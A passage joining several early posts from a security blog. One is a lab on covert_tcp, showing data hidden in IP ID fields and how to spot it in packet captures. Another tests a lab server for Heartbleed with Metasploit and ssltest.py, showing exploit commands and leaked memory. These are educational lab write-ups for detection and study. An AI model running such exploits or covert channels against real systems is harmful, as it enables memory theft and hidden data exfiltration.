Today we did a lab with a tool called covert_tcp.
While this is an old tool and the lab was quite basic, the thing that caught my attention was the tool sends data serially - one character at a time.
As a result, I decided to perform a capture of the traffic to verify this. Interestingly, I found things even more interesting.
First let's create a file with some simple text.
root@security-nik:/tools# echo "securitynik" > file.txt && cat file.txt
securitynik
Now let's setup the server with the file to receive the data
root@security-nik:/# covert_tcp -dest 127.0.0.1 -source 127.0.0.1 -source_port 1020 -dest_port 1021 -server -file received_file.txt
Covert TCP 1.0 (c)1996 Craig H. Rowland (crowland@psionic.com)
Not for commercial use without permission.
Listening for data from IP: 127.0.0.1
Listening for data bound for local port: 1020
Decoded Filename: received_file.txt
Decoding Type Is: IP packet ID
Server Mode: Listening for data.
Let's set tcpdump to capture this traffic
root@security-nik:/tools# tcpdump -tnnvi any -w covert-tcp.pcap 'port 1020 and port 1021'
Now that the server is "Listening for data" and tcpdump is sniffing for traffic on 'port 1020 and port 1021', let's send the file containing data
root@security-nik:/tools# covert_tcp -dest 127.0.0.1 -source 127.0.0.1 -source_port 1021 -dest_port 1020 -file file.txt
Covert TCP 1.0 (c)1996 Craig H. Rowland (crowland@psionic.com)
Not for commercial use without permission.
Destination Host: 127.0.0.1
Source Host : 127.0.0.1
Originating Port: 1021
Destination Port: 1020
Encoded Filename: file.txt
Encoding Type : IP ID
Client Mode: Sending data.
Sending Data: s
Sending Data: e
Sending Data: c
Sending Data: u
Sending Data: r
Sending Data: i
Sending Data: t
Sending Data: y
Sending Data: n
Sending Data: i
Sending Data: k
Sending Data:
As can be seen above, each character in 'securitynik' is being sent serially, one character at a time.
Taking a sample of the first 3 pairs (6 packets) of communication we see the following
root@security-nik:/tools# tcpdump -tnnX -r covert-tcp.pcap -c 6
reading from file covert-tcp.pcap, link-type LINUX_SLL (Linux cooked)
IP 127.0.0.1.1021 > 127.0.0.1.1020: Flags [SEW], seq 2047148032, win 512, length 0
0x0000: 4500 0028 7300 0000 4006 09ce 7f00 0001 E..(s...@.......
0x0010: 7f00 0001 03fd 03fc 7a05 0000 0000 0000 ........z.......
0x0020: 50c2 0200 2d22 0000 P...-"..
IP 127.0.0.1.1020 > 127.0.0.1.1021: Flags [R.], seq 0, ack 2047148033, win 0, length 0
0x0000: 4500 0028 0000 4000 4006 3cce 7f00 0001 E..(..@.@.<.....
0x0010: 7f00 0001 03fc 03fd 0000 0000 7a05 0001 ............z...
0x0020: 5014 0000 2fcf 0000 P.../...
IP 127.0.0.1.1021 > 127.0.0.1.1020: Flags [SEW], seq 2081947648, win 512, length 0
0x0000: 4500 0028 6500 0000 4006 17ce 7f00 0001 E..(e...@.......
0x0010: 7f00 0001 03fd 03fc 7c18 0000 0000 0000 ........|.......
0x0020: 50c2 0200 2b0f 0000 P...+...
IP 127.0.0.1.1020 > 127.0.0.1.1021: Flags [R.], seq 0, ack 34799617, win 0, length 0
0x0000: 4500 0028 0000 4000 4006 3cce 7f00 0001 E..(..@.@.<.....
0x0010: 7f00 0001 03fc 03fd 0000 0000 7c18 0001 ............|...
0x0020: 5014 0000 2dbc 0000 P...-...
IP 127.0.0.1.1021 > 127.0.0.1.1020: Flags [SEW], seq 1058078720, win 512, length 0
0x0000: 4500 0028 6300 0000 4006 19ce 7f00 0001 E..(c...@.......
0x0010: 7f00 0001 03fd 03fc 3f11 0000 0000 0000 ........?.......
0x0020: 50c2 0200 6816 0000 P...h...
IP 127.0.0.1.1020 > 127.0.0.1.1021: Flags [R.], seq 0, ack 3305897985, win 0, length 0
0x0000: 4500 0028 0000 4000 4006 3cce 7f00 0001 E..(..@.@.<.....
0x0010: 7f00 0001 03fc 03fd 0000 0000 3f11 0001 ............?...
0x0020: 5014 0000 6ac3 0000 P...j...
If we look above, the following can be extracted immediately.
There is no TCP 3-way handshake
The client (port 1021) has the SYN, ECN and CWR flags set in all the packets. This is not normal, as the SYN flag is usually either
found by itselt in the first step of beginning a communication or in the SYN-ACK which is the second step of establishing a new TCP
connection. More importantly, seeing the SYN, ECN, CWR flags all set in the same packet is atypical.
Another point to note is when we look at the packet, they all report "length 0". This implies no data is being sent in these packets.
Looking at the sequence number of the first packet sent by the client, we see "2047148032"
Taking a look at the server's (port 1020) response, we see the Reset and Acknowledgement flags set.
This is typical for where the system is not listening on a port which is being requested. As can be seen below, there is no service listening on port 1020. Do remember above we show the server was "Listening for data"
root@security-nik:~# netstat -nltp | grep 1020
Checking for open files with port 1020 shows nothing also
root@security-nik:~# lsof -Pi | grep 1020
However, when we look for processes relating to covert_tcp we see the following
root@security-nik:~# ps aux | grep -iE '(1020|covert_tcp)'
root 4073 0.0 0.0 1848 244 pts/0 S+ 22:49 0:00 covert_tcp -dest 127.0.0.1 -source 127.0.0.1 -source_port 1020 -dest_port 1021 -server -file received_file.txt
The moral of this post?!
Being able to detect what is normal and what is abnormal is critical in doing packets analysis.
With the right tools, normal channels can be bypassed and data exfiltration can occur.
While my attention was caught because of the serial nature of the communication, there is a lot more to be learnt by reading link below.
In the example above, the data is found in the IPID field.
Reference:
http://ojphi.org/ojs/index.php/fm/article/view/528/449
covert-tcp.pcap
So it seems I chose the most interesting time to start a blog.
Currently at a SANS conference and the topic is obviously, the OpenSSL Heartbeat Vulnerability.
All my tests and validations have been done with tools which are freely available.
There are a couple of ways to detect if you are running the vulnerable OpenSSL software and or are vulnerable to this attack.
CVE-2014-0160 states "The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug. "
Let's test our OpenSSL version
In my lab, I have one computer running Kali and another running Cento6.5
connecting to the "lab-server" via SSH and verify the centos version
[root@lab-server ~]# cat /etc/centos-release
CentOS release 6.5 (Final)
verifying the version of OpenSSL
[root@lab-server ~]# openssl version
OpenSSL 1.0.1e-fips 11 Feb 2013
Looks like the above OpenSSL Version is vulnerable. This version of OpenSSL is 1.0.1e which is before 1.0.1g
This time, let's try metasploit
Let's grab the metasploit module from https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
Let's configure metasploit
msf auxiliary(heartbleed) > set RHOSTS 10.0.0.51
RHOSTS => 10.0.0.51
msf auxiliary(heartbleed) > show options
Module options (auxiliary/multi/ssl/heartbleed):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.0.0.51 yes The target address range or CIDR identifier
RPORT 443 yes The target port
STARTTLS None yes Protocol to use with STARTTLS, None to avoid STARTTLS (accepted: None, SMTP, IMAP, JABBER, POP3)
THREADS 1 yes The number of concurrent threads
TLSVERSION 1.0 yes TLS version to use (accepted: 1.0, 1.1, 1.2)
msf auxiliary(heartbleed) > run
[*] 10.0.0.51:443 - Sending Client Hello...
[*] 10.0.0.51:443 - Sending Heartbeat...
[*] 10.0.0.51:443 - Heartbeat response, checking if there is data leaked...
[+] 10.0.0.51:443 - Heartbeat response with leak
[*] 10.0.0.51:443 - Printable info leaked: @SF@oFH6s?f"!98532ED/A42#US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivesmlb:R0=
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Looks like much the same.
Ok. Let's see if the 3rd time will be the charm
Let's test this another way using a script which is available at "http://bit.ly/1ksnuLe"
This will be run against a Web Server running on my lab server.
Let's verify that my webserver is listening for HTTPS traffic
[root@lab-server httpd]# netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 :::80 :::* LISTEN 2865/httpd
tcp 0 0 :::443 :::* LISTEN 2865/httpd
Looks good!
running the ssltest.py script
root@security-nik:/# ./ssltest.py 10.0.0.51 -p 443
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 58
... received message: type = 22, ver = 0302, length = 845
... received message: type = 22, ver = 0302, length = 397
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
...................... REST OF DATA OMITTED FOR BREVITY ........................
WARNING: server returned more data than it should - server is vulnerable!
As can be seen the server is reporting it is vulnerable once again
After 3 tests using different tools, I think it would be safe to say my lab-server is vulnerable.
SourceFire have release updated rules to identify this attack. In another post I will evaluate the rules against an attack
Reference
SANS Webcast by MalwareJake
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
http://vrt-blog.snort.org/2014/04/heartbleed-memory-disclosure-upgrade.html
I'm using this as an area to keep all my thoughts in one place. I'm also getting tired of trying to find stuff I've researched, across different hard and USB drives :-).
So this blog will be computer security oriented. It will deal with anything I think is consider interesting but more importantly will be a place to keep my thoughts as I study for any certifications. It will also be a place where I reproduce interesting things which may occur in my day-to-day work.
Sometimes, I have to teach and or explain stuff to colleagues. Whenever this happens, I will post it here for someone else who may find it interesting.
A major problem I have, is when you are trying to learn something and then have to cover a number of sites to gain full insights. It is my hope that whatever, I post here anyone who comes to this site can leave with a better understanding of whatever they were trying to learn.
Also, if there is any topic in computer security someone would like me to provide an explanation on, please feel free to suggest such. If I don't know, I will say I don't know, otherwise I will try my best to provide the help requested.
Nik Alleyne, CISSP | GCIA
